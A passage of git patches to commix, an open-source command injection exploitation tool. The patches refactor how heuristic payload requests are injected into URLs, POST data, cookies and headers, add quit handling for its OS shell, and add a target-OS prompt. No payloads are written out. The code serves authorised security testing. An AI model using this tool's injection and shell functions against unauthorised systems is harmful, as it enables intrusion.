'" + output + "'." + debug_msg = "Checking if the file '" + output + "' is accessible." print(settings.print_debug_msg(debug_msg)) return output diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 883c406c10..4fc3cfd19f 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -522,6 +522,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: + if cmd.lower() == "quit" or cmd.lower() == "exit": + # Delete previous shell (text) files (output) from temp. + delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break diff --git a/src/utils/logs.py b/src/utils/logs.py index 8cb1e1249d..ba598c88e6 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -55,7 +55,7 @@ def logs_filename_creation(url): menu.options.output_dir = os.path.abspath(menu.options.output_dir) if os.path.isdir(menu.options.output_dir): output_dir = menu.options.output_dir - warn_msg = "Using '" + output_dir + "' as the output directory." + warn_msg = "Using '" + output_dir + "' for output directory." print(settings.print_warning_msg(warn_msg)) else: output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) diff --git a/src/utils/settings.py b/src/utils/settings.py index 79663583f9..abc93e5c81 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "47" +REVISION = "48" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1209,8 +1209,8 @@ class AUTH_TYPE(object): TARGET_URL = "" DOC_ROOT_TARGET_MARK = "%TARGET%" -WINDOWS_DEFAULT_DOC_ROOTS = ["C:\\\\Inetpub\\wwwroot", "C:\\\\xampp\\htdocs", "C:\\\\wamp\\www"] -LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html", "/var/www", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/usr/share/nginx", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout +WINDOWS_DEFAULT_DOC_ROOTS = ["C:\\\\Inetpub\\wwwroot\\", "C:\\\\Inetpub\\wwwroot\\", "C:\\\\xampp\\htdocs\\", "C:\\\\wamp\\www\\"] +LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html/", "/var/www/" + DOC_ROOT_TARGET_MARK + "/", "/usr/local/apache2/htdocs/", "/usr/local/www/data/", "/usr/share/nginx/", "/var/apache2/htdocs/", "/var/www/nginx-default/", "/srv/www/htdocs/"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False From ec06c5de6f2e34ca2a40d7cd94f2517d5ad56311 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 16 May 2024 09:37:59 +0300 Subject: [PATCH 0444/1023] Minor code refactoring regarding heuristic (basic) tests --- src/core/injections/controller/controller.py | 103 +++++++------------ src/utils/settings.py | 2 +- 2 files changed, 37 insertions(+), 68 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index bd5c4b3683..3463731cec 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -71,6 +71,40 @@ def check_for_stored_levels(url, http_request_method): if type(menu.options.level) is not int : menu.options.level = settings.DEFAULT_INJECTION_LEVEL +""" +Heuristic request(s) +""" +def heuristic_request(url, http_request_method, check_parameter, payload): + data = None + cookie = None + tmp_url = url + payload = parameters.prefixes(payload, prefix="") + payload = parameters.suffixes(payload, suffix="") + payload = checks.perform_payload_modification(payload) + if settings.VERBOSITY_LEVEL >= 1: + print(settings.print_payload(payload)) + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: + if not any((settings.IS_JSON, settings.IS_XML)): + payload = _urllib.parse.quote(payload) + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + else: + if settings.INJECT_TAG in url: + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) + request = _urllib.request.Request(tmp_url, data, method=http_request_method) + if cookie: + request.add_header(settings.COOKIE, cookie) + if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): + settings.CUSTOM_HEADER_NAME = check_parameter + if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: + request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + else: + request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + headers.do_check(request) + response = requests.get_request_response(request) + return response + """ Heuristic (basic) tests for command injection """ @@ -87,40 +121,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, _ = 0 for payload in basic_payloads: _ = _ + 1 - - # if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): - # if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: - # payload = _urllib.parse.quote(payload) - payload = parameters.prefixes(payload, prefix="") - payload = parameters.suffixes(payload, suffix="") - payload = checks.perform_payload_modification(payload) - if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) - if settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) - else: - data = None - cookie = None - tmp_url = url - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif not settings.IGNORE_USER_DEFINED_POST_DATA and settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - else: - if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) - request = _urllib.request.Request(tmp_url, data, method=http_request_method) - if cookie: - request.add_header(settings.COOKIE, cookie) - if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): - settings.CUSTOM_HEADER_NAME = check_parameter - if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) - else: - request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) - headers.do_check(request) - response = requests.get_request_response(request) - + response = heuristic_request(url, http_request_method, check_parameter, payload) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) @@ -150,39 +151,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t try: if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: - # if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): - # if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: - # payload = _urllib.parse.quote(payload) - payload = parameters.prefixes(payload, prefix="") - payload = parameters.suffixes(payload, suffix="") - payload = checks.perform_payload_modification(payload) - if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) - if settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) - else: - data = None - cookie = None - tmp_url = url - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif not settings.IGNORE_USER_DEFINED_POST_DATA and settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in settings.USER_DEFINED_POST_DATA: - data = settings.USER_DEFINED_POST_DATA.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - else: - if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) - request = _urllib.request.Request(tmp_url, data, method=http_request_method) - if cookie: - request.add_header(settings.COOKIE, cookie) - if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): - settings.CUSTOM_HEADER_NAME = check_parameter - if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) - else: - request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) - headers.do_check(request) - response = requests.get_request_response(request) - + response = heuristic_request(url, http_request_method, check_parameter, payload) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) diff --git a/src/utils/settings.py b/src/utils/settings.py index abc93e5c81..4ea293ca10 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "48" +REVISION = "49" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 23007c5ef209beb13eefb6e8289e5e82f9d0d4cd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 17 May 2024 09:32:32 +0300 Subject: [PATCH 0445/1023] Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable.. Ref: https://github.com/commixproject/commix/issues/905 --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 83 ++++++++++--------- src/core/injections/controller/controller.py | 17 ++-- .../injections/controller/shell_options.py | 5 +- src/core/modules/shellshock/shellshock.py | 4 +- src/utils/settings.py | 2 +- 6 files changed, 61 insertions(+), 51 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a79971c481..4130cbb6d7 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable. * Revised: Minor improvements regarding semiblind (i.e. "file-based") technique. * Fixed: Minor bug-fix regarding option `--output-dir`. * Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1e60d1a0da..f523d26100 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -197,48 +197,49 @@ def skipping_technique(technique, injection_type, state): print(settings.print_debug_msg(debug_msg)) """ -Skipping of code injection tests. +Skipping of further tests. """ -def skip_code_injection_tests(): - while True: - message = "Skipping of code injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_CODE_INJECTIONS = True - return - elif procced_option in settings.CHOICE_NO: - return - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass +def keep_testing_others(filename, url): + if settings.SKIP_COMMAND_INJECTIONS: + while True: + message = "Do you want to keep testing the others? [y/N] > " + procced_option = common.read_input(message, default="N", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_COMMAND_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + quit(filename, url, _ = False) + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass """ Skipping of further command injection tests. """ -def skip_command_injection_tests(): - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - _ = "" +def skip_testing(filename, url): + if len(menu.options.tech) == 1: + settings.SKIP_COMMAND_INJECTIONS = True else: - _ = "further " - while True: - message = "Skipping of "+ _ +"command injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_COMMAND_INJECTIONS = True - return - elif procced_option in settings.CHOICE_NO: - if settings.SKIP_COMMAND_INJECTIONS: - settings.SKIP_COMMAND_INJECTIONS = False - return - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + _ = " testing command injection techniques" else: - common.invalid_option(procced_option) - pass + _ = " further testing" + while True: + message = "Do you want to skip" + _ + " in " + settings.CHECKING_PARAMETER + "? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_COMMAND_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + settings.SKIP_COMMAND_INJECTIONS = False + return + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass """ The available mobile user agents. @@ -289,6 +290,14 @@ def check_http_method(url): http_request_method = settings.HTTPMETHOD.GET return http_request_method +def quit(filename, url, _): + logs.print_logs_notification(filename, url) + common.show_http_error_codes() + if _: + raise exit() + else: + raise SystemExit() + """ User aborted procedure """ @@ -297,9 +306,7 @@ def user_aborted(filename, url): abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." print(settings.print_abort_msg(abort_msg)) - logs.print_logs_notification(filename, url) - common.show_http_error_codes() - raise exit() + quit(filename, url, _=True) """ Connection exceptions diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 3463731cec..bf9ecfb968 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -41,8 +41,8 @@ """ def basic_level_checks(): - settings.SKIP_CODE_INJECTIONS = False - settings.SKIP_COMMAND_INJECTIONS = False + settings.SKIP_CODE_INJECTIONS = None + settings.SKIP_COMMAND_INJECTIONS = None settings.IDENTIFIED_COMMAND_INJECTION = False settings.IDENTIFIED_WARNINGS = False settings.IDENTIFIED_PHPINFO = False @@ -187,7 +187,7 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met if (len(menu.options.tech) == 0 or "c" in menu.options.tech): if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: settings.CLASSIC_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True - checks.skip_command_injection_tests() + checks.skip_testing(filename, url) else: settings.CLASSIC_STATE = False if settings.CLASSIC_STATE == None: @@ -205,7 +205,7 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: settings.EVAL_BASED_STATE = True if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - checks.skip_command_injection_tests() + checks.skip_testing(filename, url) else: settings.EVAL_BASED_STATE = False if settings.EVAL_BASED_STATE == None: @@ -222,7 +222,7 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m if (len(menu.options.tech) == 0 or "t" in menu.options.tech): if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: settings.TIME_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True - checks.skip_command_injection_tests() + checks.skip_testing(filename, url) else: settings.TIME_BASED_STATE = False if settings.TIME_BASED_STATE == None: @@ -259,6 +259,7 @@ def check_parameter_in_http_header(check_parameter): """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): if settings.PERFORM_BASIC_SCANS: + checks.keep_testing_others(filename, url) basic_level_checks() inject_http_headers = check_parameter_in_http_header(check_parameter) @@ -291,7 +292,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) else: settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) - + info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." print(settings.print_info_msg(info_msg)) @@ -313,7 +314,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - checks.skip_command_injection_tests() + checks.skip_testing(filename, url) if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: settings.HEURISTIC_TEST.POSITIVE = False @@ -459,6 +460,7 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file Cookie injection """ def cookie_injection(url, http_request_method, filename, timesec): + settings.COOKIE_INJECTION = True # Cookie Injection @@ -628,6 +630,7 @@ def post_request(url, http_request_method, filename, timesec): Perform GET / POST parameters checks """ def data_checks(url, http_request_method, filename, timesec): + settings.COOKIE_INJECTION = None settings.HTTP_HEADERS_INJECTION = False settings.CUSTOM_HEADER_INJECTION = False diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 76bf9d76b7..3bb02b5ad4 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -179,10 +179,9 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) return go_back, go_back_again - # The "quit" option + # The "quit" / "exit" options elif os_shell_option == "quit" or os_shell_option == "exit": - logs.print_logs_notification(filename, url) - raise SystemExit() + checks.quit(filename, url, _ = True) else: return go_back, go_back_again diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 77f805a936..652ad70ff1 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -264,9 +264,9 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r go_back, go_back_again = reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again - # The "quit" option + # The "quit" / "exit" options elif os_shell_option == "quit" or os_shell_option == "exit": - raise SystemExit() + checks.quit(filename, url, _ = True) """ The main shellshock handler diff --git a/src/utils/settings.py b/src/utils/settings.py index 4ea293ca10..2ab11961e0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "49" +REVISION = "50" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fcda87fadb66ef52ba92f0f4344cac9f8d786449 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 20 May 2024 09:18:47 +0300 Subject: [PATCH 0446/1023] Minor improvement regarding determining (passively) the target's underlying operating system. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 77 +++++-- src/core/injections/controller/controller.py | 205 +++++++++-------- src/core/main.py | 18 +- src/core/requests/requests.py | 229 +++++++------------ src/utils/settings.py | 9 +- 6 files changed, 267 insertions(+), 272 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4130cbb6d7..9376fee450 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Minor improvement regarding determining (passively) the target's underlying operating system. * Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable. * Revised: Minor improvements regarding semiblind (i.e. "file-based") technique. * Fixed: Minor bug-fix regarding option `--output-dir`. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f523d26100..58ccb214ee 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1010,7 +1010,7 @@ def check_http_s(url): return url """ -Force the user-defined operating system name. +Force the user-defined operating system. """ def user_defined_os(): if menu.options.os: @@ -1020,31 +1020,62 @@ def user_defined_os(): elif menu.options.os.lower() == "unix": return True else: - err_msg = "You specified wrong value '" + menu.options.os + "' " - err_msg += "as an operation system. The value, must be 'Windows' or 'Unix'." + err_msg = "You defined wrong value '" + menu.options.os + "' " + err_msg += "for operation system. The value, must be 'Windows' or 'Unix'." print(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +Define the target operating system. +""" +def define_target_os(): + # If "--shellshock" option is provided then, by default is a Linux/Unix operating system. + if menu.options.shellshock: + return + else: + while True: + message = "Do you recognise the server's underlying operating system? " + message += "[(N)o/(u)nix-like/(w)indows/(q)uit] > " + got_os = common.read_input(message, default="N", check_batch=True) + if got_os.lower() in settings.CHOICE_OS : + if got_os.lower() == "u": + return + elif got_os.lower() == "w": + settings.TARGET_OS = settings.OS.WINDOWS + return + elif got_os.lower() == "n": + settings.CHECK_BOTH_OS = True + + return + elif got_os.lower() == "q": + raise SystemExit() + else: + common.invalid_option(got_os) + pass + """ Decision if the user-defined operating system name, is different than the one identified by heuristics. """ def identified_os(): - warn_msg = "Heuristics have identified different operating system (" - warn_msg += settings.TARGET_OS + ") than that you have provided." - print(settings.print_warning_msg(warn_msg)) - message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = common.read_input(message, default="C", check_batch=True) - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - return False - elif proceed_option.lower() == "c": - return True - elif proceed_option.lower() == "q": - raise SystemExit() - else: - common.invalid_option(proceed_option) - pass + if settings.IGNORE_IDENTIFIED_OS == None: + warn_msg = "Identified different operating system (i.e. '" + warn_msg += settings.TARGET_OS.title() + "'), than the defined (i.e. '" + menu.options.os.title() + "')." + print(settings.print_bold_warning_msg(warn_msg)) + message = "How do you want to proceed? [(c)ontinue/(S)kip/(q)uit] > " + proceed_option = common.read_input(message, default="S", check_batch=True) + if proceed_option.lower() in settings.CHOICE_PROCEED : + if proceed_option.lower() == "c": + settings.IGNORE_IDENTIFIED_OS = True + return settings.IGNORE_IDENTIFIED_OS + elif proceed_option.lower() == "s": + settings.IGNORE_IDENTIFIED_OS = False + return settings.IGNORE_IDENTIFIED_OS + elif proceed_option.lower() == "q": + raise SystemExit() + else: + common.invalid_option(proceed_option) + pass """ Checking all required third-party library dependencies. @@ -1099,7 +1130,7 @@ def http_auth_err_msg(): is different than the one identified by heuristics. """ def identified_http_auth_type(auth_type): - warn_msg = "Heuristics have identified different HTTP authentication type (" + warn_msg = "Identified different HTTP authentication type (" warn_msg += auth_type.lower() + ") than that you have provided (" warn_msg += menu.options.auth_type + ")." print(settings.print_warning_msg(warn_msg)) @@ -1900,7 +1931,7 @@ def print_ps_version(ps_version, filename, _): info_msg = "Powershell version: " + ps_version + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " + warn_msg = "Failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." print(settings.print_warning_msg(warn_msg)) settings.PS_ENABLED = False @@ -1921,7 +1952,7 @@ def print_hostname(shell, filename, _): info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: - warn_msg = "Heuristics have failed to identify the hostname." + warn_msg = "Failed to identify the hostname." print(settings.print_warning_msg(warn_msg)) """ @@ -1939,7 +1970,7 @@ def print_current_user(cu_account, filename, _): info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: - warn_msg = "Heuristics have failed to fetch the current user." + warn_msg = "Failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) """ @@ -1976,7 +2007,7 @@ def print_os_info(target_os, target_arch, filename, _): info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." + warn_msg = "Failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index bf9ecfb968..7d101666e6 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -127,8 +127,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True + possible_os = ('Unix-like', 'Windows')[_ != 1] + if settings.OS.UNIX.lower() in possible_os.lower(): + settings.TARGET_OS = settings.OS.UNIX + else: + settings.TARGET_OS = settings.OS.WINDOWS info_msg = "Heuristic (basic) tests shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." print(settings.print_bold_info_msg(info_msg)) break @@ -258,108 +263,118 @@ def check_parameter_in_http_header(check_parameter): Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): - if settings.PERFORM_BASIC_SCANS: - checks.keep_testing_others(filename, url) - basic_level_checks() + for i in range(0,int(settings.OS_CHECKS_NUM)): + if settings.CHECK_BOTH_OS: + if i == 0: + settings.TARGET_OS = settings.OS.UNIX + else: + settings.TARGET_OS = settings.OS.WINDOWS - inject_http_headers = check_parameter_in_http_header(check_parameter) - - # User-Agent/Referer/Host/Custom HTTP header Injection(s) - if check_parameter.startswith(settings.SINGLE_WHITESPACE): - header_name = "" - the_type = "HTTP header" - inject_parameter = " '" + check_parameter.strip() + "'" - else: - if settings.COOKIE_INJECTION: - header_name = settings.COOKIE - else: + if settings.PERFORM_BASIC_SCANS: + checks.keep_testing_others(filename, url) + basic_level_checks() + + inject_http_headers = check_parameter_in_http_header(check_parameter) + + # User-Agent/Referer/Host/Custom HTTP header Injection(s) + if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" - the_type = " parameter" - inject_parameter = " '" + check_parameter + "'" - - # Estimating the response time (in seconds) - timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) - - # Load modules - modules_handler.load_modules(url, http_request_method, filename) - checks.tamper_scripts(stored_tamper_scripts=False) - - settings.CHECKING_PARAMETER = "" - if not header_name == settings.COOKIE and not the_type == "HTTP header": - settings.CHECKING_PARAMETER = checks.check_http_method(url) - settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] - if header_name == settings.COOKIE : - settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) - else: - settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) - - info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." - print(settings.print_info_msg(info_msg)) - - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." - print(settings.print_debug_msg(debug_msg)) - else: - if not settings.LOAD_SESSION: - checks.recognise_payload(payload=settings.TESTABLE_VALUE) + the_type = "HTTP header" + inject_parameter = " '" + check_parameter.strip() + "'" + else: + if settings.COOKIE_INJECTION: + header_name = settings.COOKIE + else: + header_name = "" + the_type = " parameter" + inject_parameter = " '" + check_parameter + "'" + + # Estimating the response time (in seconds) + timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) + + # Load modules + modules_handler.load_modules(url, http_request_method, filename) + 